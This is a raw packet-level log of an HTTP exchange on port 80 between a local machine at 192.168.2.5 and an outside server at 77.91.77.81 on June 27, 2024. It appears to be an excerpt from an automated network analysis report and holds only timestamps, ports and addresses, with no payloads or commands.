Jun 27, 2024 19:27:07.061537027 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.061543941 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.061561108 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.061566114 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.061593056 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.061604977 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.061633110 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.061661005 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.061697006 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.061731100 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.061742067 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.061769009 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.061810970 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.061821938 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.061832905 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.061852932 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.061870098 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.061944008 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.061955929 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.061964989 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.061979055 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.061985970 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.062001944 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.062022924 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.062100887 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.062112093 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.062124014 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.062134981 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.062140942 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.062149048 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.062160015 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.062181950 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.062715054 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.062730074 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.062753916 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.062771082 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.097080946 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.097129107 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.097138882 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.097213030 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.097223997 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.097233057 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.097244978 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.097250938 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.097286940 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.097338915 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.097381115 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.097671032 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.097681046 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.097691059 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.097718954 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.097740889 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.097759008 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.097770929 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.097779989 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.097791910 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.097793102 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.097815037 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.097836971 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.097913027 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.097924948 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.097934008 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.097945929 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.097956896 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.097956896 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.097966909 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.097980022 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.098001957 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.126616001 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.126631021 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.126645088 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.126688004 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.126713991 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.126837969 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.126878977 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.126899004 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.126913071 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.126939058 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.127003908 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.127016068 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.127043962 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.153001070 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.153047085 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.153055906 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.153058052 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.153098106 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.153098106 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.153105974 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.153139114 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.153177977 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.153187990 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.153207064 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.153218985 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.153223038 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.153240919 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.153264046 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.153348923 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.153359890 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.153388977 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.153398991 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.153410912 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.153419971 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.153430939 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.153444052 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.153459072 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.153669119 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.153706074 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.153721094 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.153732061 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.153755903 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.153769016 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.153779030 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.153791904 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.153801918 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.153811932 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.153825998 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.153970957 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.154016972 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.154052973 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.154071093 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.154079914 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.154088020 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.154099941 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.154117107 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.154135942 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.154149055 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.154174089 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.154210091 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.154220104 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.154228926 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.154249907 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.154251099 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.154266119 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.154287100 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.154320955 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.154333115 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.154360056 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.154472113 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.154481888 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.154493093 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.154504061 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.154511929 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.154517889 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.154525042 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.154551983 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.154597044 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.154608011 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.154617071 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.154627085 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.154637098 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.154654026 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.154675961 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.154764891 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.154777050 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.154788971 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.154799938 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.154805899 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.154824972 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.154846907 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.154903889 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.154916048 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.154927015 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.154938936 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.154942036 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.154951096 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.154963017 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.154987097 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.155219078 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.155261993 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.155301094 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.155313015 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.155338049 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.155352116 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.155411005 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.155422926 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.155435085 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.155447960 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.155447960 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.155461073 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.155462027 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.155481100 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.155502081 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.155534029 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.155570984 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.155639887 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.155651093 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.155678034 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.155704975 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.155742884 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.155771017 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.155807018 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.155867100 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.155879021 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.155889988 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.155906916 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.155926943 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.156212091 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.156250954 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.156312943 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.156325102 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.156354904 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.156380892 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.156394005 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.156423092 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.156455040 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.156466007 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.156496048 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.156528950 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.156539917 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.156548977 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.156559944 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.156567097 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.156573057 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.156590939 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.156613111 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.156694889 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.156708002 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.156718969 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.156728029 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.156738997 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.156742096 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.156761885 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.156785011 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.156878948 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.156889915 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.156899929 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.156913996 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.156920910 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.156925917 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.156940937 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.156940937 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.156961918 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.156980038 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.191538095 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.191590071 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.191601992 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.191610098 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.191643000 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.191643000 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.191665888 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.191678047 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.191689014 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.191698074 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.191709995 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.191729069 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.191792011 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.191829920 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.192011118 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.192051888 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.192064047 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.192075014 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.192101002 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.192152023 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.192163944 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.192173004 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.192184925 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.192193031 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.192205906 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.192231894 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.192293882 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.192332983 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.192344904 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.192358017 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.192365885 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.192383051 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.192403078 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.192454100 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.192465067 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.192476034 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.192488909 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.192492008 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.192514896 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.192533970 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.221858978 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.221899986 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.221910000 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.221927881 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.221956968 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.222145081 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.222155094 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.222165108 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.222176075 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.222188950 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.222206116 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.222219944 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.247725964 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.247788906 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.247795105 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.247802019 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.247828960 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.247838020 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.247915983 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.247929096 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.247939110 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.247955084 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.247956991 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.247984886 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.248246908 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.248266935 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.248279095 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.248287916 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.248308897 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.248374939 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.248385906 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.248395920 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.248409033 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.248414993 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.248429060 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.248450994 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.248581886 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.248594046 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.248605967 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.248615980 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.248622894 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.248630047 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.248641968 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.248647928 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.248656034 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.248666048 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.248668909 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.248686075 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.248708010 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.248851061 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.248889923 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.248904943 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.248923063 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.248941898 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.248950958 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.248960972 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.248963118 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.248980045 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.248997927 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.249038935 CEST	80	49721	77.91.77.81	192.168.2.5
